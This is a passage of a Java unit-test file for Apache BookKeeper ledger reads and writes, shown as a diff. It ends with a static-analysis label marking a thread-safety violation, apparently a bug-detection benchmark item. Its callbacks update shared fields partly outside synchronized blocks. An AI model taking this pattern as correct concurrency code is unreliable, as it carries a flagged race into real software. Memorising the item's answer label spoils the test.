+    public BookieReadWriteTest(String ledgerManagerFactory, DigestType digestType) {
+        super(3);
+        this.digestType = digestType;
+        // set ledger manager
+        baseConf.setLedgerManagerFactoryClassName(ledgerManagerFactory);
+        baseClientConf.setLedgerManagerFactoryClassName(ledgerManagerFactory);
+    }
+
+    class SyncObj {
+        long lastConfirmed;
+        volatile int counter;
+        boolean value;
+        AtomicInteger rc = new AtomicInteger(BKException.Code.OK);
+        Enumeration<LedgerEntry> ls = null;
+
+        public SyncObj() {
+            counter = 0;
+            lastConfirmed = LedgerHandle.INVALID_ENTRY_ID;
+            value = false;
+        }
+
+        void setReturnCode(int rc) {
+            this.rc.compareAndSet(BKException.Code.OK, rc);
+        }
+
+        int getReturnCode() {
+            return rc.get();
+        }
+
+        void setLedgerEntries(Enumeration<LedgerEntry> ls) {
+            this.ls = ls;
+        }
+
+        Enumeration<LedgerEntry> getLedgerEntries() {
+            return ls;
+        }
+    }
+
+    @Test(timeout=60000)
+    public void testOpenException() throws IOException, InterruptedException {
+        try {
+            lh = bkc.openLedger(0, digestType, ledgerPassword);
+            fail("Haven't thrown exception");
+        } catch (BKException e) {
+            LOG.warn("Successfully thrown and caught exception:", e);
+        }
+    }
+
+    /**
+     * test the streaming api for reading and writing
+     *
+     * @throws {@link IOException}
+     */
+    @Test(timeout=60000)
+    public void testStreamingClients() throws IOException, BKException, InterruptedException {
+        lh = bkc.createLedger(digestType, ledgerPassword);
+        // write a string so that we cna
+        // create a buffer of a single bytes
+        // and check for corner cases
+        String toWrite = "we need to check for this string to match " + "and for the record mahadev is the best";
+        LedgerOutputStream lout = new LedgerOutputStream(lh, 1);
+        byte[] b = toWrite.getBytes();
+        lout.write(b);
+        lout.close();
+        long lId = lh.getId();
+        lh.close();
+        // check for sanity
+        lh = bkc.openLedger(lId, digestType, ledgerPassword);
+        LedgerInputStream lin = new LedgerInputStream(lh, 1);
+        byte[] bread = new byte[b.length];
+        int read = 0;
+        while (read < b.length) {
+            read = read + lin.read(bread, read, b.length);
+        }
+
+        String newString = new String(bread);
+        assertTrue("these two should same", toWrite.equals(newString));
+        lin.close();
+        lh.close();
+        // create another ledger to write one byte at a time
+        lh = bkc.createLedger(digestType, ledgerPassword);
+        lout = new LedgerOutputStream(lh);
+        for (int i = 0; i < b.length; i++) {
+            lout.write(b[i]);
+        }
+        lout.close();
+        lId = lh.getId();
+        lh.close();
+        lh = bkc.openLedger(lId, digestType, ledgerPassword);
+        lin = new LedgerInputStream(lh);
+        bread = new byte[b.length];
+        read = 0;
+        while (read < b.length) {
+            read = read + lin.read(bread, read, b.length);
+        }
+        newString = new String(bread);
+        assertTrue("these two should be same ", toWrite.equals(newString));
+        lin.close();
+        lh.close();
+    }
+
+    @Test(timeout=60000)
+    public void testReadWriteAsyncSingleClient() throws IOException {
+        SyncObj sync = new SyncObj();
+        try {
+            // Create a ledger
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            // bkc.initMessageDigest("SHA1");
+            ledgerId = lh.getId();
+            LOG.info("Ledger ID: " + lh.getId());
+            for (int i = 0; i < numEntriesToWrite; i++) {
+                ByteBuffer entry = ByteBuffer.allocate(4);
+                entry.putInt(rng.nextInt(maxInt));
+                entry.position(0);
+
+                entries.add(entry.array());
+                entriesSize.add(entry.array().length);
+                lh.asyncAddEntry(entry.array(), this, sync);
+            }
+
+            // wait for all entries to be acknowledged
+            synchronized (sync) {
+                while (sync.counter < numEntriesToWrite) {
+                    LOG.debug("Entries counter = " + sync.counter);
+                    sync.wait();
+                }
+                assertEquals("Error adding", BKException.Code.OK, sync.getReturnCode());
+            }
+
+            LOG.debug("*** WRITE COMPLETE ***");
+            // close ledger
+            lh.close();
+
+            // *** WRITING PART COMPLETE // READ PART BEGINS ***
+
+            // open ledger
+            lh = bkc.openLedger(ledgerId, digestType, ledgerPassword);
+            LOG.debug("Number of entries written: " + (lh.getLastAddConfirmed() + 1));
+            assertTrue("Verifying number of entries written", lh.getLastAddConfirmed() == (numEntriesToWrite - 1));
+
+            // read entries
+            lh.asyncReadEntries(0, numEntriesToWrite - 1, this, sync);
+
+            synchronized (sync) {
+                while (sync.value == false) {
+                    sync.wait();
+                }
+                assertEquals("Error reading", BKException.Code.OK, sync.getReturnCode());
+            }
+
+            LOG.debug("*** READ COMPLETE ***");
+
+            // at this point, Enumeration<LedgerEntry> ls is filled with the returned
+            // values
+            int i = 0;
+            Enumeration<LedgerEntry> ls = sync.getLedgerEntries();
+            while (ls.hasMoreElements()) {
+                ByteBuffer origbb = ByteBuffer.wrap(entries.get(i));
+                Integer origEntry = origbb.getInt();
+                byte[] entry = ls.nextElement().getEntry();
+                ByteBuffer result = ByteBuffer.wrap(entry);
+                LOG.debug("Length of result: " + result.capacity());
+                LOG.debug("Original entry: " + origEntry);
+
+                Integer retrEntry = result.getInt();
+                LOG.debug("Retrieved entry: " + retrEntry);
+                assertTrue("Checking entry " + i + " for equality", origEntry.equals(retrEntry));
+                assertTrue("Checking entry " + i + " for size", entry.length == entriesSize.get(i).intValue());
+                i++;
+            }
+            assertTrue("Checking number of read entries", i == numEntriesToWrite);
+
+            lh.close();
+        } catch (BKException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to BookKeeper exception");
+        } catch (InterruptedException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to interruption");
+        }
+    }
+
+    /**
+     * Check that the add api with offset and length work correctly.
+     * First try varying the offset. Then the length with a fixed non-zero
+     * offset.
+     */
+    @Test(timeout=60000)
+    public void testReadWriteRangeAsyncSingleClient() throws IOException {
+        SyncObj sync = new SyncObj();
+        try {
+            // Create a ledger
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            // bkc.initMessageDigest("SHA1");
+            ledgerId = lh.getId();
+            LOG.info("Ledger ID: " + lh.getId());
+            byte bytes[] = {'a','b','c','d','e','f','g','h','i'};
+
+            lh.asyncAddEntry(bytes, 0, bytes.length, this, sync);
+            lh.asyncAddEntry(bytes, 0, 4, this, sync); // abcd
+            lh.asyncAddEntry(bytes, 3, 4, this, sync); // defg
+            lh.asyncAddEntry(bytes, 3, (bytes.length-3), this, sync); // defghi
+            int numEntries = 4;
+
+            // wait for all entries to be acknowledged
+            synchronized (sync) {
+                while (sync.counter < numEntries) {
+                    LOG.debug("Entries counter = " + sync.counter);
+                    sync.wait();
+                }
+                assertEquals("Error adding", BKException.Code.OK, sync.getReturnCode());
+            }
+
+            try {
+                lh.asyncAddEntry(bytes, -1, bytes.length, this, sync);
+                fail("Shouldn't be able to use negative offset");
+            } catch (ArrayIndexOutOfBoundsException aiob) {
+                // expected
+            }
+            try {
+                lh.asyncAddEntry(bytes, 0, bytes.length+1, this, sync);
+                fail("Shouldn't be able to use that much length");
+            } catch (ArrayIndexOutOfBoundsException aiob) {
+                // expected
+            }
+            try {
+                lh.asyncAddEntry(bytes, -1, bytes.length+2, this, sync);
+                fail("Shouldn't be able to use negative offset "
+                     + "with that much length");
+            } catch (ArrayIndexOutOfBoundsException aiob) {
+                // expected
+            }
+            try {
+                lh.asyncAddEntry(bytes, 4, -3, this, sync);
+                fail("Shouldn't be able to use negative length");
+            } catch (ArrayIndexOutOfBoundsException aiob) {
+                // expected
+            }
+            try {
+                lh.asyncAddEntry(bytes, -4, -3, this, sync);
+                fail("Shouldn't be able to use negative offset & length");
+            } catch (ArrayIndexOutOfBoundsException aiob) {
+                // expected
+            }
+
+
+            LOG.debug("*** WRITE COMPLETE ***");
+            // close ledger
+            lh.close();
+
+            // *** WRITING PART COMPLETE // READ PART BEGINS ***
+
+            // open ledger
+            lh = bkc.openLedger(ledgerId, digestType, ledgerPassword);
+            LOG.debug("Number of entries written: " + (lh.getLastAddConfirmed() + 1));
+            assertTrue("Verifying number of entries written",
+                       lh.getLastAddConfirmed() == (numEntries - 1));
+
+            // read entries
+            lh.asyncReadEntries(0, numEntries - 1, this, sync);
+
+            synchronized (sync) {
+                while (sync.value == false) {
+                    sync.wait();
+                }
+                assertEquals("Error reading", BKException.Code.OK, sync.getReturnCode());
+            }
+
+            LOG.debug("*** READ COMPLETE ***");
+
+            // at this point, Enumeration<LedgerEntry> ls is filled with the returned
+            // values
+            int i = 0;
+            Enumeration<LedgerEntry> ls = sync.getLedgerEntries();
+            while (ls.hasMoreElements()) {
+                byte[] expected = null;
+                byte[] entry = ls.nextElement().getEntry();
+
+                switch (i) {
+                case 0:
+                    expected = Arrays.copyOfRange(bytes, 0, bytes.length);
+                    break;
+                case 1:
+                    expected = Arrays.copyOfRange(bytes, 0, 4);
+                    break;
+                case 2:
+                    expected = Arrays.copyOfRange(bytes, 3, 3+4);
+                    break;
+                case 3:
+                    expected = Arrays.copyOfRange(bytes, 3, 3+(bytes.length-3));
+                    break;
+                }
+                assertNotNull("There are more checks than writes", expected);
+
+                String message = "Checking entry " + i + " for equality ["
+                                 + new String(entry, "UTF-8") + ","
+                                 + new String(expected, "UTF-8") + "]";
+                assertTrue(message, Arrays.equals(entry, expected));
+
+                i++;
+            }
+            assertTrue("Checking number of read entries", i == numEntries);
+
+            lh.close();
+        } catch (BKException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to BookKeeper exception");
+        } catch (InterruptedException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to interruption");
+        }
+    }
+
+    class ThrottleTestCallback implements ReadCallback {
+        int throttle;
+
+        ThrottleTestCallback(int threshold) {
+            this.throttle = threshold;
+        }
+
+        @Override
+        public void readComplete(int rc, LedgerHandle lh, Enumeration<LedgerEntry> seq, Object ctx) {
+            SyncObj sync = (SyncObj)ctx;
+            sync.setLedgerEntries(seq);
+            sync.setReturnCode(rc);
+            synchronized(sync) {
+                sync.counter += throttle;
+                sync.notify();
+            }
+            LOG.info("Current counter: " + sync.counter);
+        }
+    }
+
+    @Test(timeout=60000)
+    public void testSyncReadAsyncWriteStringsSingleClient() throws IOException {
+        SyncObj sync = new SyncObj();
+        LOG.info("TEST READ WRITE STRINGS MIXED SINGLE CLIENT");
+        String charset = "utf-8";
+        LOG.debug("Default charset: " + Charset.defaultCharset());
+        try {
+            // Create a ledger
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            // bkc.initMessageDigest("SHA1");
+            ledgerId = lh.getId();
+            LOG.info("Ledger ID: " + lh.getId());
+            for (int i = 0; i < numEntriesToWrite; i++) {
+                int randomInt = rng.nextInt(maxInt);
+                byte[] entry = new String(Integer.toString(randomInt)).getBytes(charset);
+                entries.add(entry);
+                lh.asyncAddEntry(entry, this, sync);
+            }
+
+            // wait for all entries to be acknowledged
+            synchronized (sync) {
+                while (sync.counter < numEntriesToWrite) {
+                    LOG.debug("Entries counter = " + sync.counter);
+                    sync.wait();
+                }
+                assertEquals("Error adding", BKException.Code.OK, sync.getReturnCode());
+            }
+
+            LOG.debug("*** ASYNC WRITE COMPLETE ***");
+            // close ledger
+            lh.close();
+
+            // *** WRITING PART COMPLETED // READ PART BEGINS ***
+
+            // open ledger
+            lh = bkc.openLedger(ledgerId, digestType, ledgerPassword);
+            LOG.debug("Number of entries written: " + (lh.getLastAddConfirmed() + 1));
+            assertTrue("Verifying number of entries written", lh.getLastAddConfirmed() == (numEntriesToWrite - 1));
+
+            // read entries
+            Enumeration<LedgerEntry> ls = lh.readEntries(0, numEntriesToWrite - 1);
+
+            LOG.debug("*** SYNC READ COMPLETE ***");
+
+            // at this point, Enumeration<LedgerEntry> ls is filled with the returned
+            // values
+            int i = 0;
+            while (ls.hasMoreElements()) {
+                byte[] origEntryBytes = entries.get(i++);
+                byte[] retrEntryBytes = ls.nextElement().getEntry();
+
+                LOG.debug("Original byte entry size: " + origEntryBytes.length);
+                LOG.debug("Saved byte entry size: " + retrEntryBytes.length);
+
+                String origEntry = new String(origEntryBytes, charset);
+                String retrEntry = new String(retrEntryBytes, charset);
+
+                LOG.debug("Original entry: " + origEntry);
+                LOG.debug("Retrieved entry: " + retrEntry);
+
+                assertTrue("Checking entry " + i + " for equality", origEntry.equals(retrEntry));
+            }
+            assertTrue("Checking number of read entries", i == numEntriesToWrite);
+
+            lh.close();
+        } catch (BKException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to BookKeeper exception");
+        } catch (InterruptedException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to interruption");
+        }
+
+    }
+
+    @Test(timeout=60000)
+    public void testReadWriteSyncSingleClient() throws IOException {
+        try {
+            // Create a ledger
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            // bkc.initMessageDigest("SHA1");
+            ledgerId = lh.getId();
+            LOG.info("Ledger ID: " + lh.getId());
+            for (int i = 0; i < numEntriesToWrite; i++) {
+                ByteBuffer entry = ByteBuffer.allocate(4);
+                entry.putInt(rng.nextInt(maxInt));
+                entry.position(0);
+                entries.add(entry.array());
+                lh.addEntry(entry.array());
+            }
+            lh.close();
+            lh = bkc.openLedger(ledgerId, digestType, ledgerPassword);
+            LOG.debug("Number of entries written: " + lh.getLastAddConfirmed());
+            assertTrue("Verifying number of entries written", lh.getLastAddConfirmed() == (numEntriesToWrite - 1));
+
+            Enumeration<LedgerEntry> ls = lh.readEntries(0, numEntriesToWrite - 1);
+            int i = 0;
+            while (ls.hasMoreElements()) {
+                ByteBuffer origbb = ByteBuffer.wrap(entries.get(i++));
+                Integer origEntry = origbb.getInt();
+                ByteBuffer result = ByteBuffer.wrap(ls.nextElement().getEntry());
+                LOG.debug("Length of result: " + result.capacity());
+                LOG.debug("Original entry: " + origEntry);
+
+                Integer retrEntry = result.getInt();
+                LOG.debug("Retrieved entry: " + retrEntry);
+                assertTrue("Checking entry " + i + " for equality", origEntry.equals(retrEntry));
+            }
+            lh.close();
+        } catch (BKException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to BookKeeper exception");
+        } catch (InterruptedException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to interruption");
+        }
+    }
+
+    @Test(timeout=60000)
+    public void testReadWriteZero() throws IOException {
+        try {
+            // Create a ledger
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            // bkc.initMessageDigest("SHA1");
+            ledgerId = lh.getId();
+            LOG.info("Ledger ID: " + lh.getId());
+            for (int i = 0; i < numEntriesToWrite; i++) {
+                lh.addEntry(new byte[0]);
+            }
+
+            /*
+             * Write a non-zero entry
+             */
+            ByteBuffer entry = ByteBuffer.allocate(4);
+            entry.putInt(rng.nextInt(maxInt));
+            entry.position(0);
+            entries.add(entry.array());
+            lh.addEntry(entry.array());
+
+            lh.close();
+            lh = bkc.openLedger(ledgerId, digestType, ledgerPassword);
+            LOG.debug("Number of entries written: " + lh.getLastAddConfirmed());
+            assertTrue("Verifying number of entries written", lh.getLastAddConfirmed() == numEntriesToWrite);
+
+            Enumeration<LedgerEntry> ls = lh.readEntries(0, numEntriesToWrite - 1);
+            int i = 0;
+            while (ls.hasMoreElements()) {
+                ByteBuffer result = ByteBuffer.wrap(ls.nextElement().getEntry());
+                LOG.debug("Length of result: " + result.capacity());
+
+                assertTrue("Checking if entry " + i + " has zero bytes", result.capacity() == 0);
+            }
+            lh.close();
+        } catch (BKException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to BookKeeper exception");
+        } catch (InterruptedException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to interruption");
+        }
+    }
+
+    @Test(timeout=60000)
+    public void testMultiLedger() throws IOException {
+        try {
+            // Create a ledger
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            lh2 = bkc.createLedger(digestType, ledgerPassword);
+
+            long ledgerId = lh.getId();
+            long ledgerId2 = lh2.getId();
+
+            // bkc.initMessageDigest("SHA1");
+            LOG.info("Ledger ID 1: " + lh.getId() + ", Ledger ID 2: " + lh2.getId());
+            for (int i = 0; i < numEntriesToWrite; i++) {
+                lh.addEntry(new byte[0]);
+                lh2.addEntry(new byte[0]);
+            }
+
+            lh.close();
+            lh2.close();
+
+            lh = bkc.openLedger(ledgerId, digestType, ledgerPassword);
+            lh2 = bkc.openLedger(ledgerId2, digestType, ledgerPassword);
+
+            LOG.debug("Number of entries written: " + lh.getLastAddConfirmed() + ", " + lh2.getLastAddConfirmed());
+            assertTrue("Verifying number of entries written lh (" + lh.getLastAddConfirmed() + ")", lh
+                       .getLastAddConfirmed() == (numEntriesToWrite - 1));
+            assertTrue("Verifying number of entries written lh2 (" + lh2.getLastAddConfirmed() + ")", lh2
+                       .getLastAddConfirmed() == (numEntriesToWrite - 1));
+
+            Enumeration<LedgerEntry> ls = lh.readEntries(0, numEntriesToWrite - 1);
+            int i = 0;
+            while (ls.hasMoreElements()) {
+                ByteBuffer result = ByteBuffer.wrap(ls.nextElement().getEntry());
+                LOG.debug("Length of result: " + result.capacity());
+
+                assertTrue("Checking if entry " + i + " has zero bytes", result.capacity() == 0);
+            }
+            lh.close();
+            ls = lh2.readEntries(0, numEntriesToWrite - 1);
+            i = 0;
+            while (ls.hasMoreElements()) {
+                ByteBuffer result = ByteBuffer.wrap(ls.nextElement().getEntry());
+                LOG.debug("Length of result: " + result.capacity());
+
+                assertTrue("Checking if entry " + i + " has zero bytes", result.capacity() == 0);
+            }
+            lh2.close();
+        } catch (BKException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to BookKeeper exception");
+        } catch (InterruptedException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to interruption");
+        }
+    }
+
+    @Test(timeout=60000)
+    public void testReadWriteAsyncLength() throws IOException {
+        SyncObj sync = new SyncObj();
+        try {
+            // Create a ledger
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            // bkc.initMessageDigest("SHA1");
+            ledgerId = lh.getId();
+            LOG.info("Ledger ID: " + lh.getId());
+            for (int i = 0; i < numEntriesToWrite; i++) {
+                ByteBuffer entry = ByteBuffer.allocate(4);
+                entry.putInt(rng.nextInt(maxInt));
+                entry.position(0);
+
+                entries.add(entry.array());
+                entriesSize.add(entry.array().length);
+                lh.asyncAddEntry(entry.array(), this, sync);
+            }
+
+            // wait for all entries to be acknowledged
+            synchronized (sync) {
+                while (sync.counter < numEntriesToWrite) {
+                    LOG.debug("Entries counter = " + sync.counter);
+                    sync.wait();
+                }
+                assertEquals("Error adding", BKException.Code.OK, sync.getReturnCode());
+            }
+            long length = numEntriesToWrite * 4;
+            assertTrue("Ledger length before closing: " + lh.getLength(), lh.getLength() == length);
+
+            LOG.debug("*** WRITE COMPLETE ***");
+            // close ledger
+            lh.close();
+
+            // *** WRITING PART COMPLETE // READ PART BEGINS ***
+
+            // open ledger
+            lh = bkc.openLedger(ledgerId, digestType, ledgerPassword);
+            assertTrue("Ledger length after opening: " + lh.getLength(), lh.getLength() == length);
+
+
+            lh.close();
+        } catch (BKException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to BookKeeper exception");
+        } catch (InterruptedException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to interruption");
+        }
+    }
+
+    @Test(timeout=60000)
+    public void testReadFromOpenLedger() throws IOException {
+        try {
+            // Create a ledger
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            // bkc.initMessageDigest("SHA1");
+            ledgerId = lh.getId();
+            LOG.info("Ledger ID: " + lh.getId());
+            for (int i = 0; i < numEntriesToWrite; i++) {
+                ByteBuffer entry = ByteBuffer.allocate(4);
+                entry.putInt(rng.nextInt(maxInt));
+                entry.position(0);
+
+                entries.add(entry.array());
+                entriesSize.add(entry.array().length);
+                lh.addEntry(entry.array());
+                if(i == numEntriesToWrite/2) {
+                    LedgerHandle lhOpen = bkc.openLedgerNoRecovery(ledgerId, digestType, ledgerPassword);
+                    // no recovery opened ledger 's last confirmed entry id is less than written
+                    // and it just can read until (i-1)
+                    int toRead = i - 1;
+                    Enumeration<LedgerEntry> readEntry = lhOpen.readEntries(toRead, toRead);
+                    assertTrue("Enumeration of ledger entries has no element", readEntry.hasMoreElements() == true);
+                    LedgerEntry e = readEntry.nextElement();
+                    assertEquals(toRead, e.getEntryId());
+                    Assert.assertArrayEquals(entries.get(toRead), e.getEntry());
+                    // should not written to a read only ledger
+                    try {
+                        lhOpen.addEntry(entry.array());
+                        fail("Should have thrown an exception here");
+                    } catch (BKException.BKIllegalOpException bkioe) {
+                        // this is the correct response
+                    } catch (Exception ex) {
+                        LOG.error("Unexpected exception", ex);
+                        fail("Unexpected exception");
+                    }
+                    // close read only ledger should not change metadata
+                    lhOpen.close();
+                }
+            }
+
+            long last = lh.readLastConfirmed();
+            assertTrue("Last confirmed add: " + last, last == (numEntriesToWrite - 2));
+
+            LOG.debug("*** WRITE COMPLETE ***");
+            // close ledger
+            lh.close();
+            /*
+             * Asynchronous call to read last confirmed entry
+             */
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            // bkc.initMessageDigest("SHA1");
+            ledgerId = lh.getId();
+            LOG.info("Ledger ID: " + lh.getId());
+            for (int i = 0; i < numEntriesToWrite; i++) {
+                ByteBuffer entry = ByteBuffer.allocate(4);
+                entry.putInt(rng.nextInt(maxInt));
+                entry.position(0);
+
+                entries.add(entry.array());
+                entriesSize.add(entry.array().length);
+                lh.addEntry(entry.array());
+            }
+
+
+            SyncObj sync = new SyncObj();
+            lh.asyncReadLastConfirmed(this, sync);
+
+            // Wait for for last confirmed
+            synchronized (sync) {
+                while (sync.lastConfirmed == -1) {
+                    LOG.debug("Counter = " + sync.lastConfirmed);
+                    sync.wait();
+                }
+                assertEquals("Error reading", BKException.Code.OK, sync.getReturnCode());
+            }
+
+            assertTrue("Last confirmed add: " + sync.lastConfirmed, sync.lastConfirmed == (numEntriesToWrite - 2));
+
+            LOG.debug("*** WRITE COMPLETE ***");
+            // close ledger
+            lh.close();
+        } catch (BKException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to BookKeeper exception");
+        } catch (InterruptedException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to interruption");
+        }
+    }
+
+    @Test(timeout=60000)
+    public void testReadFromOpenLedgerOpenOnce() throws Exception {
+        try {
+            // Create a ledger
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            // bkc.initMessageDigest("SHA1");
+            ledgerId = lh.getId();
+            LOG.info("Ledger ID: " + lh.getId());
+            LedgerHandle lhOpen = bkc.openLedgerNoRecovery(ledgerId, digestType, ledgerPassword);
+            for (int i = 0; i < numEntriesToWrite; i++) {
+                ByteBuffer entry = ByteBuffer.allocate(4);
+                entry.putInt(rng.nextInt(maxInt));
+                entry.position(0);
+
+                entries.add(entry.array());
+                entriesSize.add(entry.array().length);
+                lh.addEntry(entry.array());
+                if (i == numEntriesToWrite / 2) {
+                    // no recovery opened ledger 's last confirmed entry id is
+                    // less than written
+                    // and it just can read until (i-1)
+                    int toRead = i - 1;
+
+                    long readLastConfirmed = lhOpen.readLastConfirmed();
+                    assertTrue(readLastConfirmed != 0);
+                    Enumeration<LedgerEntry> readEntry = lhOpen.readEntries(toRead, toRead);
+                    assertTrue("Enumeration of ledger entries has no element", readEntry.hasMoreElements() == true);
+                    LedgerEntry e = readEntry.nextElement();
+                    assertEquals(toRead, e.getEntryId());
+                    Assert.assertArrayEquals(entries.get(toRead), e.getEntry());
+                    // should not written to a read only ledger
+                    try {
+                        lhOpen.addEntry(entry.array());
+                        fail("Should have thrown an exception here");
+                    } catch (BKException.BKIllegalOpException bkioe) {
+                        // this is the correct response
+                    } catch (Exception ex) {
+                        LOG.error("Unexpected exception", ex);
+                        fail("Unexpected exception");
+                    }
+
+                }
+            }
+            long last = lh.readLastConfirmed();
+            assertTrue("Last confirmed add: " + last, last == (numEntriesToWrite - 2));
+
+            LOG.debug("*** WRITE COMPLETE ***");
+            // close ledger
+            lh.close();
+            // close read only ledger should not change metadata
+            lhOpen.close();
+        } catch (BKException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to BookKeeper exception");
+        } catch (InterruptedException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to interruption");
+        }
+    }
+
+    @Test(timeout=60000)
+    public void testReadFromOpenLedgerZeroAndOne() throws Exception {
+        try {
+            // Create a ledger
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            // bkc.initMessageDigest("SHA1");
+            ledgerId = lh.getId();
+            LOG.info("Ledger ID: " + lh.getId());
+            LedgerHandle lhOpen = bkc.openLedgerNoRecovery(ledgerId, digestType, ledgerPassword);
+
+            /*
+             * We haven't written anything, so it should be empty.
+             */
+            LOG.debug("Checking that it is empty");
+            long readLastConfirmed = lhOpen.readLastConfirmed();
+            assertTrue("Last confirmed has the wrong value",
+                       readLastConfirmed == LedgerHandle.INVALID_ENTRY_ID);
+
+            /*
+             * Writing one entry.
+             */
+            LOG.debug("Going to write one entry");
+            ByteBuffer entry = ByteBuffer.allocate(4);
+            entry.putInt(rng.nextInt(maxInt));
+            entry.position(0);
+
+            entries.add(entry.array());
+            entriesSize.add(entry.array().length);
+            lh.addEntry(entry.array());
+
+            /*
+             * The hint should still indicate that there is no confirmed
+             * add.
+             */
+            LOG.debug("Checking that it is still empty even after writing one entry");
+            readLastConfirmed = lhOpen.readLastConfirmed();
+            assertTrue(readLastConfirmed == LedgerHandle.INVALID_ENTRY_ID);
+
+            /*
+             * Adding one more, and this time we should expect to
+             * see one entry.
+             */
+            entry = ByteBuffer.allocate(4);
+            entry.putInt(rng.nextInt(maxInt));
+            entry.position(0);
+
+            entries.add(entry.array());
+            entriesSize.add(entry.array().length);
+            lh.addEntry(entry.array());
+
+            LOG.info("Checking that it has an entry");
+            readLastConfirmed = lhOpen.readLastConfirmed();
+            assertTrue(readLastConfirmed == 0L);
+
+            // close ledger
+            lh.close();
+            // close read only ledger should not change metadata
+            lhOpen.close();
+        } catch (BKException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to BookKeeper exception");
+        } catch (InterruptedException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to interruption");
+        }
+    }
+
+
+    @Test(timeout=60000)
+    public void testLastConfirmedAdd() throws IOException {
+        try {
+            // Create a ledger
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            // bkc.initMessageDigest("SHA1");
+            ledgerId = lh.getId();
+            LOG.info("Ledger ID: " + lh.getId());
+            for (int i = 0; i < numEntriesToWrite; i++) {
+                ByteBuffer entry = ByteBuffer.allocate(4);
+                entry.putInt(rng.nextInt(maxInt));
+                entry.position(0);
+
+                entries.add(entry.array());
+                entriesSize.add(entry.array().length);
+                lh.addEntry(entry.array());
+            }
+
+            long last = lh.readLastConfirmed();
+            assertTrue("Last confirmed add: " + last, last == (numEntriesToWrite - 2));
+
+            LOG.debug("*** WRITE COMPLETE ***");
+            // close ledger
+            lh.close();
+            /*
+             * Asynchronous call to read last confirmed entry
+             */
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            // bkc.initMessageDigest("SHA1");
+            ledgerId = lh.getId();
+            LOG.info("Ledger ID: " + lh.getId());
+            for (int i = 0; i < numEntriesToWrite; i++) {
+                ByteBuffer entry = ByteBuffer.allocate(4);
+                entry.putInt(rng.nextInt(maxInt));
+                entry.position(0);
+
+                entries.add(entry.array());
+                entriesSize.add(entry.array().length);
+                lh.addEntry(entry.array());
+            }
+
+
+            SyncObj sync = new SyncObj();
+            lh.asyncReadLastConfirmed(this, sync);
+
+            // Wait for for last confirmed
+            synchronized (sync) {
+                while (sync.lastConfirmed == LedgerHandle.INVALID_ENTRY_ID) {
+                    LOG.debug("Counter = " + sync.lastConfirmed);
+                    sync.wait();
+                }
+                assertEquals("Error reading", BKException.Code.OK, sync.getReturnCode());
+            }
+
+            assertTrue("Last confirmed add: " + sync.lastConfirmed, sync.lastConfirmed == (numEntriesToWrite - 2));
+
+            LOG.debug("*** WRITE COMPLETE ***");
+            // close ledger
+            lh.close();
+        } catch (BKException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to BookKeeper exception");
+        } catch (InterruptedException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to interruption");
+        }
+    }
+
+
+    @Override
+    public void addComplete(int rc, LedgerHandle lh, long entryId, Object ctx) {
+        SyncObj sync = (SyncObj) ctx;
+        sync.setReturnCode(rc);
+        synchronized (sync) {
+            sync.counter++;
+            sync.notify();
+        }
+    }
+
+    @Override
+    public void readComplete(int rc, LedgerHandle lh, Enumeration<LedgerEntry> seq, Object ctx) {
+        SyncObj sync = (SyncObj) ctx;
+        sync.setLedgerEntries(seq);
+        sync.setReturnCode(rc);
+        synchronized (sync) {
+            sync.value = true;
+            sync.notify();
+        }
+    }
+
+    @Override
+    public void readLastConfirmedComplete(int rc, long lastConfirmed, Object ctx) {
+        SyncObj sync = (SyncObj) ctx;
+        sync.setReturnCode(rc);
+        synchronized(sync) {
+            sync.lastConfirmed = lastConfirmed;
+            sync.notify();
+        }
+    }
+
+    @Override
+    @Before
+    public void setUp() throws Exception {
+        super.setUp();
+        rng = new Random(System.currentTimeMillis()); // Initialize the Random
+        // Number Generator
+        entries = new ArrayList<byte[]>(); // initialize the entries list
+        entriesSize = new ArrayList<Integer>();
+    }
+
+    /* Clean up a directory recursively */
+    protected boolean cleanUpDir(File dir) {
+        if (dir.isDirectory()) {
+            LOG.info("Cleaning up " + dir.getName());
+            String[] children = dir.list();
+            for (String string : children) {
+                boolean success = cleanUpDir(new File(dir, string));
+                if (!success)
+                    return false;
+            }
+        }
+        // The directory is now empty so delete it
+        return dir.delete();
+    }
+
+    /* User for testing purposes, void */
+    class emptyWatcher implements Watcher {
+        @Override
+        public void process(WatchedEvent event) {
+        }
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
